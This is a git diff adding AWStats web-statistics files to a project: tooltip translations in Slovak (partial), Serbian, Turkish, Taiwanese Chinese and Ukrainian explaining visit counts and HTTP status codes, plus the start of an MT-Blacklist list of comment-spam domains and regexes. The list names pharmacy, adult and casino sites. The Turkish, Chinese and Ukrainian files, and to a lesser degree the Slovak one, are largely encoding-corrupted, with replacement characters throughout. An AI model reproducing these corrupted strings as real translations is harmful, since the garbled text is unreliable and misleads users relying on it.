class="CTooltip" id="tt16"> +Roboti (niekedy oznaèováni ako pavuci alebo èmuchalové) su <b>poèítaèoví automat. návštevníci</b> pou¾ivaní vela vyhledávajucimi slu¾bami k (1) indexovániu a hodnoteniu, (2) zbieraniu statistik z webov a/alebo (3) k zistsniu, ci stránky stále existuju.<br /> +#PROG# je schopmy rozpoznat <b>#RobotArray#</b> robotov. +</div> + +<div class="CTooltip" id="tt201"> Bolo vytvoreno nové miesto s datami a odeslane. </div> +<div class="CTooltip" id="tt202"> Po¾adavka bola rozeznana, ale bude vybaveny neskor. </div> +<div class="CTooltip" id="tt204"> Po¾iadavka bola rozeznana, ale nieje co odoslat spet. </div> +<div class="CTooltip" id="tt206"> Poziadavka bol zpracovany iba èiastoène. </div> +<div class="CTooltip" id="tt301"> Po¾adovaný dokument bol presunuty a adresa bola odoslana. </div> +<div class="CTooltip" id="tt302"> Dokument sa doèasne nachádza na inej adrese. </div> +<div class="CTooltip" id="tt400"> Syntaktická chyba, chybný po¾iadavok. </div> +<div class="CTooltip" id="tt401"> Po¾iadavka neobsahovala ¾iadanu autorizaciu meno/heslo pre vstup na stránku. Ak se vyskytujeèasto,pokuša sa niekdo o prielom-hack. </div> +<div class="CTooltip" id="tt403"> Po¾iadavka bola odmietnuta serverom (neprístupne data, neviditelný adresár...). </div> +<div class="CTooltip" id="tt404"> Pokus o vstup na neexistujuci stránku alebo soubor. </div> +<div class="CTooltip" id="tt408"> Cela po¾iadavka nebola serveru od klienta odoslana v po¾adovanom èase (chyba klienta alebo serveru alebo skriptu). </div> +<div class="CTooltip" id="tt500"> Chyba serveru (èasto sa vyskytuje pri chybnom zpracovaní skriptu). </div> +<div class="CTooltip" id="tt501"> Po¾iadavku, ktora bola zaslana nieje mo¾no vyriedit, pretoze ho server nevie zpracovat. </div> +<div class="CTooltip" id="tt502"> Server prijal chybnu po¾iadavku od iného serveru (proxy nebo brány). </div> +<div class="CTooltip" id="tt503"> Chyba serveru, slu¾ba nieje k dispozicii. </div> +<div class="CTooltip" id="tt504"> Vypršal èasový interval u proxy serveru alebo brány. </div> +<div class="CTooltip" id="tt505"> Nepodporovaná verzia protokolu HTTP. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sr.txt new file mode 100644 index 0000000..93fc722 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sr.txt @@ -0,0 +1,72 @@ +<!--SR by tomo@inecco.net, bojans@teol.net, mst@mikis.org --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Нова посета се дефинише као сваки нови <b>посетилац</b> који се није повезао на ваш сајт у току последњих <b>#VisitTimeOut# минута</b>. +</div> +<div class="CTooltip" id="tt2"> +Број корисничких рачунара (<b>IP адреса</b>) који су посећивали овај сајт (и видели најмање <b>једну страницу</b>).<br /> +Овај податак говори о броју <b>физички различитих особа</b> које су посетиле сајт током једног дана. +</div> +<div class="CTooltip" id="tt3"> +Колико пута је <b>једна страница</b> сајта била <b>прегледана</b> (укупно за све посетиоце током свих посета).<br /> +Овај податак се разликује од "погодака" по томе што броји само HTML странице за разлику од слика и других датотека. +</div> +<div class="CTooltip" id="tt4"> +Колико пута је једна <b>страница, слика, датотека</b> сајта била <b>прегледана</b> или <b>преузета</b> од стране некога.<br /> +Овај податак служи само као референца, пошто је број "страница" много кориснији за разне маркетиншке потребе. +</div> +<div class="CTooltip" id="tt5"> +Ова информација говори о количини преузетих података за све <b>странице</b>, <b>слике</b> и <b>датотеке</b> у оквиру вашег сајта.<br /> +Јединице су KB, MB или GB (килобајти, мегабајти или гигабајти). Овај податак је користан како бисте пратили остварени саобраћај у оквиру вашег сајта. +</div> +<div class="CTooltip" id="tt13"> +#PROG# препознаје сваки приступ вашем сајту након <b>претраге</b> помоћу <b>#SearchEnginesArray# најпопуларнијих интернет претраживача и директоријума</b> (Yahoo, Altavista, Lycos, Google, Voila, итд...). +</div> +<div class="CTooltip" id="tt14"> +Листа свих <b>спољних страница</b> на којима се налази веза коју је корисник употребио да би дошао на вашу страницу (Само <b>#MaxNbOfRefererShown#</b> највећих веза је приказано). +Везе које су резултат претраживања су искључене јер су већ приказане у претходном реду ове табеле. +</div> +<div class="CTooltip" id="tt15"> +Ова табела приказује листу <b>кључних речи</b> које се најчешће користе за проналажење вашег сајта помоћу интернет претраживача или директоријума. +(#PROG# Препознаје кључне речи <b>#SearchEnginesArray#</b> највећих претраживача и директоријума, међу којима су и Yahoo, Altavista, Lycos, Google, Voila, итд...). +</div> +<div class="CTooltip" id="tt16"> +Роботи су <b>рачунарски програми</b> које користе многи претраживачи како би анализирали вашу страницу и тиме (1) је индексирали и рангирали, (2) прикупили статистике о интернет странама и/или (3) проверили да ли је ваш сајт још увек активан.<br /> +#PROG# Може препознати до <b>#RobotArray#</b> робота. +</div> +<div class="CTooltip" id="tt17"> +Све статистике везане са временом су базиране на времену на серверу. +</div> +<div class="CTooltip" id="tt18"> +Приказани подаци овде су: <b>просечне вредности</b> (израчунате на основу свих података између прве и последње посете у анализираном опсегу) +</div> +<div class="CTooltip" id="tt19"> +Приказани подаци овде су: <b>кумулативне суме</b> (израчунате на основу свих података између прве и последње посете у анализираном опсегу) +</div> +<div class="CTooltip" id="tt20"> +Нека <b>Трајања посета</b> су 'непозната' јер се не могу увек израчунати. Ово су главни разлози за то:<br /> +- Посета није завршена када је вршено 'ажурирање'.<br /> +- Посета је почела у последњем сату (након 23:00) последњег дана у месецу (технички разлози спречавају #PROG# да израчуна трајање такве посете) +</div> + +<div class="CTooltip" id="tt201"> Нема описа ове грешке. </div> +<div class="CTooltip" id="tt202"> Сервер је разумео захтев, али ће га обрадити касније. </div> +<div class="CTooltip" id="tt204"> Сервер је обрадио захтев, али нема шта да пошаље кориснику. </div> +<div class="CTooltip" id="tt206"> Делимичан садржај (корисник је прекинуо отварање странице). </div> +<div class="CTooltip" id="tt301"> Тражени документ је премештен на ново место и нова адреса је дата кориснику (преусмеравање). </div> +<div class="CTooltip" id="tt302"> Нема описа ове грешке. </div> +<div class="CTooltip" id="tt400"> Синтаксна грешка. Сервер није разумео захтев. </div> +<div class="CTooltip" id="tt401"> Корисник је покушао да отвори <b>страну за коју је потребно дати корисничко име и лозинку</b>.<br />Велики број под овом ставком може значити да неко покушава провалити на ваш сајт (нпр. испробавајући разне комбинације корисничког имена и лозинке за улазак). </div> +<div class="CTooltip" id="tt403"> Корисник је покушао да отвори <b>страну која је подешена да јој се не може приступити, чак ни са корисничким именом и лозинком</b> (нпр. страна унутар директоријума који није дефинисан као приступачан.). </div> +<div class="CTooltip" id="tt404"> Корисник је покушао приступити <b>непостојећој страни</b>. Ова грешка обично значи да негде на вашем сајту постоји неисправна веза или да је корисник неисправно унео адресу одређене странице. </div> +<div class="CTooltip" id="tt408"> Серверу је требало <b>превише времена</b> да одговори на захтев. Код ове грешке се обично ради о спором CGI скрипту који је сервер морао да прекине, о спорој вези корисника или о екстремном загушењу саобраћаја на серверу. </div> +<div class="CTooltip" id="tt500"> Интерна грешка. Ову грешку узрокује CGI програм који садржи неку грешку, па је прекинуо рад. </div> +<div class="CTooltip" id="tt501"> Захтевана је непозната акција. </div> +<div class="CTooltip" id="tt502"> Овај код враћа HTTP сервер који ради као посредник или пролаз, и то ако стварни сервер не одговори успешно на захтев клијента. </div> +<div class="CTooltip" id="tt503"> Интерна грешка на серверу. </div> +<div class="CTooltip" id="tt504"> Овај код враћа HTTP сервер који ради као пролаз, и то ако приликом контактирања стварног сервера истекне предвиђено време (gateway timeout). </div> +<div class="CTooltip" id="tt505"> Клијент захтева верзију HTTP-а која није подржана. </div> + + + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tr.txt new file mode 100644 index 0000000..c0a1df4 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tr.txt @@ -0,0 +1,53 @@ +<!-- $Revision: 1.1 $ - $Date: 2004/02/07 16:14:10 $ --> +<div class="CTooltip" id="tt1"> +Yeni ziyaret�i, ge�mi� <b>#VisitTimeOut# dakika</b> i�inde sitenize ba�lanmam�� ve o anda sitenize bakan kullan�c�d�r. +</div> +<div class="CTooltip" id="tt2"> +Sitenizi ziyaret eden ve en az bir <b>sayfa</b> g�ren bilgisayar (<b>IP adresi</b>) say�s�. +Bu say� sitenizi bir g�n i�inde ziyaret eden <b>farkl� ki�i</b>leri temsil eder. +</div> +<div class="CTooltip" id="tt3"> +Sitedeki bir <b>sayfan�n</b> ka� kere <b>g�r�ld���</b> (T�m ziyaret�ilerin t�m ziyatlerinin toplam�). +Bu say� "hits" say�s�ndan farkl�d�r: sadece HTML dosyalar� say�l�r, resim ve di�er dosyalar say�lmaz. +</div> +<div class="CTooltip" id="tt4"> +Sitedeki <b>sayfa, resim, ve dosya</b>lar�n biri taraf�ndan ka� kere indirlmi� veya g�r�lm�� olmas�. +Bu bilgi kaynak olarak verilmi�tir. Genelde pazarlama alan�nda g�r�nt�lenen <b>sayfa</b> say�s� tercih edilir. +</div> +<div class="CTooltip" id="tt5"> +Bu say� sitenizden t�m <b>resimler, sayfalar ve dosyalar</b> dahil indirilen toplam bilgi miktar�n� belirtir. +</div> +<div class="CTooltip" id="tt13"> +#PROG# sitenize <b>en pop�ler #SearchEnginesArray# �nternet dizini ve arama motorundan</b> gelen eri�imleri anlar. +</div> +<div class="CTooltip" id="tt14"> +Sitenize ba�lant� veren (ve giri� yapmak i�in kullan�lan) <b>d�� sayfalar</b> (Sadece en �ok kullan�lan <b>#MaxNbOfRefererShown#</b> d�� sayfa g�sterilmi�tir.) +Arama motorlar� taraf�ndan kullan�lan arama sonu�lar� bu listeye dahil de� idir, ��nk� bu tabloda bir �st sat�rda bu bilgi verilmi�tir. +</div> +<div class="CTooltip" id="tt15"> +Bu tablo sitenizi �nternet dizinlerinden ve arama motorlar�ndan bulmak i�in en �ok kullan�lan <b>anahtar s�zc�k</b>leri g�sterir. +(#PROG# en pop�ler <b>#SearchEnginesArray#</b> �nternet dizini ve arama motorundan kullan�lan anahtar s�zc�kleri g�sterir. +</div> +<div class="CTooltip" id="tt16"> +Robotlar (bas�ka bir deyi�le �r�mcekler) sitenizi (1) dizinlemek ve s�ralamak, (2) istatistik toplamak, ve/veya (3) sitenizin i�ler durumda oldu�unu kontol etmek amac�yla tarayan <b>otomatik bilgisayar programlar�</b>d�r. +#PROG# <b>#RobotArray#</b>adet robotu tan�r. +</div> + +<div class="CTooltip" id="tt201"> Bu hatan�n a��klamas� yok. </div> +<div class="CTooltip" id="tt202"> Sunucu iste�inizi anlad� fakat daha sonra i�lem g�recek. </div> +<div class="CTooltip" id="tt204"> Sunucu iste�inizi yerine getirdi fakat yollanacak dosya yok. </div> +<div class="CTooltip" id="tt206"> K�smi i�erik. </div> +<div class="CTooltip" id="tt301"> �stenilen belge cevapta verilen ba�ka bir adrese ta��nm��t�r. </div> +<div class="CTooltip" id="tt302"> Bu hatan�n a��klamas� yok. </div> +<div class="CTooltip" id="tt400"> S�zdizimi hatas�, sunucu iste�inizi anlamad�. </div> +<div class="CTooltip" id="tt401"> <b>Kulann�c� ad� ve �ifre gerektiren bir URL</b>e ula��ld�.<br />Burada y�ksek bir say� bir korsan�n sitenize girmeye �al��t���n� belirtebilir. </div> +<div class="CTooltip" id="tt403"> <b>�ifre kullanarak bile ula��lmas� yasaklanm�� bir URL</b> (�rne��n, "bak�labilir" olarak tan�nlanmam�� bir klas�r.). </div> +<div class="CTooltip" id="tt404"> <b>Varolmayan bir URLL</b>e ula�maya �al���ld�. Bu hata genellikle sitenizin bir yerinde ge�ersiz bir ba�lant�� oldu�unu veya ziyaret�inin URLi yanl�� yazmas�ndan kaynaklan�r. </div> +<div class="CTooltip" id="tt408"> Sunucu i�leme cevap vermek i�in <b>�ok fazla zaman</b> harcad�. Bu genellikle yava� bir CGI program�n�n kalabal�k bir veb sunucusunda durdurulmas�ndan kaynaklan�r. </div> +<div class="CTooltip" id="tt500"> Dahiki hata. Bu hata genellikle bir CGI program�n�n beklenmeyen bir �ekilde sonu�lanmas� (�ekirdek bellek d�k�m�) ile olu�ur. </div> +<div class="CTooltip" id="tt501"> �stenilen i�lem bilinmiyor. </div> +<div class="CTooltip" id="tt502"> Ula��lmaya �al���lan sunucu cevap vermeyince a� ge�idi olarak i�leyen bir HTTP sunucunun belirtti�i hata. </div> +<div class="CTooltip" id="tt503"> Dahili sunucu hatas�. </div> +<div class="CTooltip" id="tt504"> A� ge�idi zaman a��m�. </div> +<div class="CTooltip" id="tt505"> HTTPnin bu s�r�m� desteklenmiyor. </div> + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tw.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tw.txt new file mode 100644 index 0000000..5a1330a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tw.txt @@ -0,0 +1,48 @@ +<!-- $Revision: 1.1 $ - $Date: 2004/02/07 16:14:10 $ --> +<div class="CTooltip" id="tt1"> +����쬰���[�������`���ơA�q�ۦP��}���s���������A�ɶ����j���ܤ�#VisitTimeOut#�����~�|�A�O���@���C +</div> +<div class="CTooltip" id="tt2"> +����쬰���[�������H�ơC�H�q���P���q���s�����������Ӽƨӭp��������H�ơC +</div> +<div class="CTooltip" id="tt3"> +����쬰����Ū�����`���ơC�u�O������(.html)���ӼơC +</div> +<div class="CTooltip" id="tt4"> +����쬰�������eŪ�����`���ơA�]�t�����ɡA�Ϥ��ɡA�v���ɵ��C +</div> +<div class="CTooltip" id="tt5"> +����쬰�������eŪ�����`�e�q�j�p�A�]�t�����ɡA�Ϥ��ɡA�v���ɵ��C +</div> +<div class="CTooltip" id="tt13"> +����쬰�O���ϥΪ̱q���Ƿj�M�����i�J�������C�t�η|�۰ʤ��R�̱`�ϥΪ�#SearchEnginesArray#���j�M�����C +</div> +<div class="CTooltip" id="tt14"> +��ܨ䥦�������������䤺�e�s���ܥ����������C���C +�t�η|�C�X���`�s�����e#MaxNbOfRefererShown#�Ӻ������}�C +</div> +<div class="CTooltip" id="tt15"> +�o�Ӫ�����ܨϥΪ̦b�j�M���������`�ϥΪ�����r�ӵn�J�����C�t�η|�O���̱`�ϥΪ�#SearchEnginesArray#�ӷj�M��������r�C +</div> +<div class="CTooltip" id="tt16"> +�j�M���������C��(Robots)�|�۰ʪ���M���������Ҧ����e�C<br /> +�����O�����`�ϥΪ�#RobotArray#�Ӻ��徹��M�������O���C +</div> + +<div class="CTooltip" id="tt201"> �S������o�����~�X���y�z</div> +<div class="CTooltip" id="tt202"> �������A�����F�ѨϥΪ̪��ݨD</div> +<div class="CTooltip" id="tt204"> �������A���|�B�z���ϥΪ̪��ݨD�A���O�o�S�����ǰe�X</div> +<div class="CTooltip" id="tt206"> �������eŪ�������� </div> +<div class="CTooltip" id="tt301"> ��M�������w�g����䥦�a��A�ӥB�H�w�g��M��F</div> +<div class="CTooltip" id="tt302"> ��������䤣��A�{�b�w�g�b�O���a����F</div> +<div class="CTooltip" id="tt400"> �y�k���~�A�������A�����F�ѨϥΪ̪��ݨD</div> +<div class="CTooltip" id="tt401"> ���ճs���ܻݿ�J�K�X���������}�ӵo�Ϳ��~</div> +<div class="CTooltip" id="tt403"> ���ճs���ܥ��}���s�����������}�ӵo�Ϳ��~</div> +<div class="CTooltip" id="tt404"> ���ճs���ܤ��s�b���������}�ӵo�Ϳ��~</div> +<div class="CTooltip" id="tt408"> �������A����O�Ӧh�ɶ��B�z�o�ӻݨD</div> +<div class="CTooltip" id="tt500"> �������A���o�Ϳ��~�A�@��O CGI �{���o�Ͱ��D</div> +<div class="CTooltip" id="tt501"> ���F�ѻݨD</div> +<div class="CTooltip" id="tt502"> �������A���] proxy �ӥ���^���u���ϥΪ̪��ݨD</div> +<div class="CTooltip" id="tt503"> �������A���o�Ϳ��~ </div> +<div class="CTooltip" id="tt504"> �q�T�h�O�� </div> +<div class="CTooltip" id="tt505"> �o�� HTTP �������S���䴩 </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ua.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ua.txt new file mode 100644 index 0000000..9980b96 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ua.txt @@ -0,0 +1,81 @@ +<!-- Ukrainian tooltips message file (roman@elsyst.km.ua) --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +����� �i��� ������������ ���i, ���� �'��������� (��������� i��������� ����i���) <strong>����� �i��i�����</strong> � �����, � ����� �i��� �� �'��������� � �������� �������� ������i� <strong>".(#VisitTimeOut#)." ��</strong>. +</div> +<div class="CTooltip" id="tt2"> +�i���i��� ��i�������� ����i� (<strong>IP-�����</strong>), � ���� ��i���������� �i��i������� ����� i ����� ���� �������� ��������i ���� ����i���.<br /> +�i ���i �i����������, ��i���� �i���� <strong>�����</strong> ���i���� �� ���� �������� ������ ���. +</div> +<div class="CTooltip" id="tt3"> +�� ����� ������� �������� �i���i��� <strong>��������i�</strong> ��i� <strong>����i���</strong> ����� ��i�� <strong>�i��i��������</strong> �i� ��� ��i� <strong>�i���i�.</strong><br /> +�i ���i �i��i�������� �i� �i������i "��������" ���, �� ��������� �i���� HTML-����i���, � ����� ����i�, � �.�. ����������, i���������. +</div> +<div class="CTooltip" id="tt4"> +�i���i��� ������i�, ���� <strong>����i���</strong>, <strong>����������</strong>, �� ������ i���� <strong>����</strong> ������ ����� ������������� ��� ������ <strong>�������������</strong> ������.<br /> +�i ���i ����� ����� �i��������� �i��i��� ���� ������ <strong>�������</strong>, �� �i���i��� ��������i� <strong>����i���</strong> � �������� i����������i��� ���� ������� �������i�. +</div> +<div class="CTooltip" id="tt5"> +�� �������� ��'�� �����, ��������� �������� �i��i������� ��� �����������i ���� <strong>����i���</strong>, <strong>���������</strong> �� i���� <strong>����i�</strong>. ���i������� � �i�������� (��), ���������� (��), �i�������� (��). +</div> +<div class="CTooltip" id="tt13"> +#PROG# ���i���� ����� ������ �� ����� �i��� <strong>������</strong> � ��������� <strong>#SearchEnginesArray#</strong> ����i��� ���������� ��������� ������ i �������i� (����� �� Altavista, Lycos, Google, Voila, AllTheWeb, �� i�.). +</div> +<div class="CTooltip" id="tt14"> +������ <strong>����i��i� ����i���</strong>, ��������� � ���� ���� ����������i ��� ������ �� ����. (�������� ���� <strong>#MaxNbOfRefererShown#</strong> ����i��i� ����i���, � ���� ���� ����i���� �i��i�����i�).<br /> +��������� � ���������i� ��������� ����� ��� �� ��������i, �� ���� ��� �������i �� ���������� ����i� ���� ������i. +</div> +<div class="CTooltip" id="tt15"> +� �i� ������i �������� ������ �������i�� ���������������� <strong>�������� ��i� ��� ����</strong>, �� ����� �i��i�����i ��������� ����� ���� � ��������� �������� i ���������. +(� #PROG# ����i�������� ������i ����� � <strong>#SearchEnginesArray#</strong> ����i��� ���������� ��������� ������ i �������i�, ����� �� Altavista, Lycos, Google, Voila, i �.�.). +�������� �i���i��� �������� ��i� ���� ���� �i����� �������� �i������i ���� (�i���� �i������i ��i������� ��������� ������i�), �� ����� ������� �����, ����������� � ������, �������� ������. +</div> +<div class="CTooltip" id="tt16"> +������ (���� �� ����� ��������� ��������) — �� ����������i ����'�����i "�i��i�����i", ��i ���������������� �������� ���������� �����i����� ��� ���������� ����� � ����� +<ol> +<li>i����������� i ������i���i� ���� ��i���</li> +<li>�������� ���������� (�� ������ ����� �� ����� ��������)</li> +<li>����������, �� ���� [��� ��] ��������</li> +</ol> +� ������i� ����i� #PROG# ��i� ����i������� +<strong>#RobotArray#</strong> �����i�. +</div> +<div class="CTooltip" id="tt17"> +��� ����������, ���'����� � �����, �������� �� �����i, +������������� �� ������i. +</div> +<div class="CTooltip" id="tt18"> +��� ����������� <strong>������i ��������</strong> (����������i �� +��i�� ������, ������������ �i� ������ i ������i� �i������, �� �i������� +�������� ���i���) +</div> +<div class="CTooltip" id="tt19"> +��� ����������� <strong>������i ��������</strong> (����������i �� +��i�� ������, ������������ �i� ������ i ������i� �i������, �� �i������� +�������� ���i���) +</div> +<div class="CTooltip" id="tt20"> +����i <strong>���������i �i���i�</strong> � '���i������', �� �� ������ +������� �� ����������. ������i ������� �����:<br /> +- �i��� �� ��� ���i������, ���� �i��������� ��������� ����������.<br /> +- �i��� ���������� � ������� ������ (�i��� 23:00) ���������� ��� �i���� +(����� ����i��i ������� #PROG# �� ���� ����������� ������i��� ����� ���i�). +</div> + +<div class="CTooltip" id="tt201">��� �i�� ������� ���� ��������.</div> +<div class="CTooltip" id="tt202">������ ������i� �����, ��� ������ ���� �i��i��.</div> +<div class="CTooltip" id="tt204">������ ������� �����, ��� �������� ��� �i������� �i�����i�.</div> +<div class="CTooltip" id="tt206">��������� ��i��.</div> +<div class="CTooltip" id="tt301">��������, �� �����������, ���� �����i���� i ����� ����������� �� i���� �������, ��� ���������� � �i����i�i.</div> +<div class="CTooltip" id="tt302">��� �i�� ������� ���� ��������.</div> +<div class="CTooltip" id="tt400">����������� �������, ������ �� ������i� �����.</div> +<div class="CTooltip" id="tt401">������ ����������� <strong>URL, ���� ������� i�'� ����������� i ������ ��� �������</strong>.<br />������ �i���i��� ����� ������� ���� ��������, �� ����� (���������, �����) ���������� ���������� �� �������� ������� ����� ������ �i����� �����i�.</div> +<div class="CTooltip" id="tt403">������ ����������� <strong>URL, ���� � �����������, ���i�� �� �������i i���� ����������� i ������ ��� �������</strong>.<br />(���������, URL � ����� ��������, �� ������������ ��� ��������� ����� Internet.).</div> +<div class="CTooltip" id="tt404">������ ������� �� <strong>��i�������� �������</strong>. �� ������� ����� ������, �� ���� �� ����i���� ������ ����� ��� i���� ����i� � ��������i ���������, ��� �i��i����� ��������� ��� �������i URL.</div> +<div class="CTooltip" id="tt408">������ �������� <strong>�������� ����</strong> ��� �i����i�i �� �����. �� ������� ����� � ����i���� ������� ���i������ CGI-��������, ��� ������ ��� �������� ������� ��� ��� ������ ����i�� ��������������.</div> +<div class="CTooltip" id="tt500">�����i��� �������. �� ������� �������� ��� ����������� ���������i CGI-��������.</div> +<div class="CTooltip" id="tt501">���������� ���i���� �i�.</div> +<div class="CTooltip" id="tt502">���, ���������� HTTP-��������, ���� ������ � �����i �����, ���� �������� ������ ����������� �� �� ���i��� �i����i�i �� ������ ��i����.</div> +<div class="CTooltip" id="tt503">�����i��� ������� �������.</div> +<div class="CTooltip" id="tt504">����-��� �����.</div> +<div class="CTooltip" id="tt505">����i� HTTP �� �i����������.</div> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/blacklist.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/blacklist.txt new file mode 100644 index 0000000..0e9fbcf --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/blacklist.txt @@ -0,0 +1,3133 @@ +# +# MT-Blacklist Master Copy +# +# Last update: 2005/08/26 10:18:13 +# Number of entries: 3117 +# +# This is the master copy of the MT-Blacklist plugin +# spammer blacklist. You can import this file through +# the Add screen in the plugin web interface. +# +# You can find out more about this file at: +# http://www.jayallen.org/comment_spam/ +# +# You can find out more about MT-Blacklist at +# http://www.jayallen.org/projects/mt-blacklist +# +([\w\-_.]+\.)?(l(so|os)tr)\.[a-z]{2,} # Catchall regex for lsotr.xxx and lostr.xxx with or without a subdomain +(blow)[\w\-_.]*job[\w\-_.]*\.[a-z]{2,} # This stops a whole slew of domain name variations relating to -- well -- you know... +(buy)[\w\-_.]*online[\w\-_.]*\.[a-z]{2,} # Catchall regexp for many spam sites +(diet|penis)[\w\-_.]*(pills|enlargement)[\w\-_.]*\.[a-z]{2,} # Catchall regexp for many spam sites +(i|la)-sonneries?[\w\-_.]*\.[a-z]{2,} +(levitra|lolita|phentermine|viagra|vig-?rx|zyban|valtex|xenical|adipex|meridia\b)[\w\-_.]*\.[a-z]{2,} # Super regexp for domains containing levitra, lolita, phentermine, viagra, vigrx, vig-rx, zyban, valtex, xenical, adipex and meridia +(magazine)[\w\-_.]*(finder|netfirms)[\w\-_.]*\.[a-z]{2,} +(mike)[\w\-_.]*apartment[\w\-_.]*\.[a-z]{2,} # Catchall regexp for Mike's Apartment variations +(milf)[\w\-_.]*(hunter|moms|fucking)[\w\-_.]*\.[a-z]{2,} +(online)[\w\-_.]*casino[\w\-_.]*\.[a-z]{2,} # Catchall regexp for a hundred online casino sites +(prozac|zoloft|xanax|valium|hydrocodone|vicodin|paxil|vioxx)[\w\-_.]*\.[a-z]{2,} # Super regexp for domains containing prozac, zoloft, xanax, valium, hydrocodone, vicodin, paxil, vioxx +(ragazze)-?\w+\.[a-z]{2,} # Catchall regexp for many spam sites +(ultram\b|\btenuate|tramadol|pheromones|phendimetrazine|ionamin|ortho.?tricyclen|retin.?a\b)[\w\-_.]*\.[a-z]{2,} # Third drug super regexp +(valtrex|zyrtec|\bhgh\b|ambien\b|flonase|allegra|didrex|renova\b|bontril|nexium)[\w\-_.]*\.[a-z]{2,} # Fourth drug super regexp +-4-you.info +-4u.info +-mobile-phones.org +-site.info +.gb.com +.lycos.de +.static.net +01-beltonen.com +01-klingeltoene.at +01-klingeltoene.de +01-loghi.com +01-logo.com +01-logot.com +01-logotyper.com +01-melodia.com +01-melodias.com +01-ringetone.com +01-ringsignaler.com +01-ringtone.com +01-ringtones.us +01-soittoaanet.com +01-suonerie.com +01-toque.com +01ringtones.co.uk +0adult-cartoon.com +0adult-manga.com +0cartoon-porn.com +0cartoon-sex.com +0cartoon.com +0casino-online.com +0casinoonline.com +0catch.com +0free-hentai.com +0freehentai.com +0hentai-anime.com +0hentai-manga.com +0hentaimanga.com +0internet-casino.com +0livesex.com +0manga-porno.com +0manga-sesso.com +0manga.com +0sesso-amatoriale.com +0sesso-orale.biz +0sesso.biz +0sesso.us +0sessoanale.com +0sessogratis.us +0sex-toons.com +0sfondi-desktop.com +0sfondi.com +0suonerie.com +0tatuaggi.com +0toons.com +0video-porno.com +0virtual-casino.com +0xxx-cartoon.com +1-bignaturals.com +1-cumfiesta.com +1-klingeltone.com +1-online-poker.us +1-poker-games.biz +1-welivetogether.com +1-wholesale-distributor.com +100-sex.com +100free.com +100hgh.com +101pills.com +108bikes.com +123-home-improvement-equity-loans.com +123-sign-making-equipment-and-supplies.com +123onlinepoker.com +123sessogratis.com +125mb.com +15668.com +16pp.com +1a1merchantaccounts.com +1asphost.com +1concerttickets.com +1footballtickets.com +1freespot.com +1on8.co.uk +1on8.com +1st-advantage-credit-repair.com +1st-auto-insurance-4u.com +1st-host.org +1st-payday-loans.net +1st-phonecard.com +1st-poker-online.com +1st-printer-ink-cartridge.com +1st-shemale-sex.com +1stincomeracing.co.uk +1stindustrialdirectory.com +1stlookcd.com +1xp6z.com +20fr.com +216.130.167.230 +24-hour-fitness-online.com +247-rx.net +2ndmortgageinterestrates.com +2teens.net +2twinks.com +2y.net +2zj.cn +3-day-diet-plan.com +321cigarettes.com +333-casino.com +333-poker.com +3333.ws +365jp.com +38ha.com +3host.com +3sixtyfour.com +3yaoi.com +404host.com +404servers.com +41b.net +42tower.ws +444-casino.com +444-poker.com +4hs8.com +4mg.com +4result.net +4u-topshelfpussy.com +4womenoftheworld.com +51.net +51asa.com +555-poker.com +5amateurs.com +65.217.108.182 +666-casino.com +666-gambling.com +69.61.11.163 +6p.org.uk +6x.to +7host.com +7p.org.uk +7yardsweb.com +888-online-poker.com +888cas.com +888jack.com +88aabb.com +8bit.co.uk +8gold.com +8k.com +8th\S*street\S*latina\S*\.[a-z]{2,} +8yardsweb.com +911easymoney.com +911pills.info +989888.com +9p.org.uk +\bby\.ru\b +\bda\.ru\b +\bde\.gg\b +\bde\.nr\b +\bde\.tc\b +\bde\.tp\b +\bgo\.ro\b +a--e.com +a-1-versicherungsvergleich.de +a-pics.net +a-purfectdream-expression.com +a-stories.com +a1-mortgage-finder.com +a1cellphoneaccessories.info +a1digitalcameras.info +a1metalbuildings.info +a1steelbuildings.info +a1timemanagement.info +abc3x.com +abnehmen-ganz-sicher.com +abocams.de +aboutgrouphomes.com +abymetro.org.uk +academyofmusic.us +acceptcreditcardsonlineinternetmerchantaccountservices.com +acceptcreditcardsrealtime.com +accompagnatrici.cc +achtung.hopto.org +acornfm.com +acornwebdesign.co.uk +acrs.us +activerx.com +acyclovir.net +addictinggames.com +aducasher.spb.ru +adult-dvd-dot.com +adult-dvds-dot.com +adult-free-webcams.com +adult-friend.info +adult-games.name +adult-manga.org +adult-porno.us +adultfreehosting.com +adultfriendfinder.com +adultfriendfindernow.com +adultfriendfindersite.com +adultfriendsite.com +adulthostpro.com +adultlingerieuk.com +adultnonstop.com +adultporncentral.net +adultserviceproviders.com +adultshare.com +advantage-quotes.com +aektschen.de +aesthetics.co.il +affilino.net +afreeserver.com +ahbabe.com +aimite.com +airfare-links.net +airshow-china.com.cn +alawna.blogspot.com +all-calmortgage.com +all-debt-consolidation.org +all-fioricet.com +all-gay-porn.us +all-poker-online +all-we-live-together.com +allago.de +allfind.us +allinsurancetype.com +allmagic.ru +alloha.info +allohaweb.com +allthediets.com +allthroating.com +almacenpc.com +alphacarolinas.org 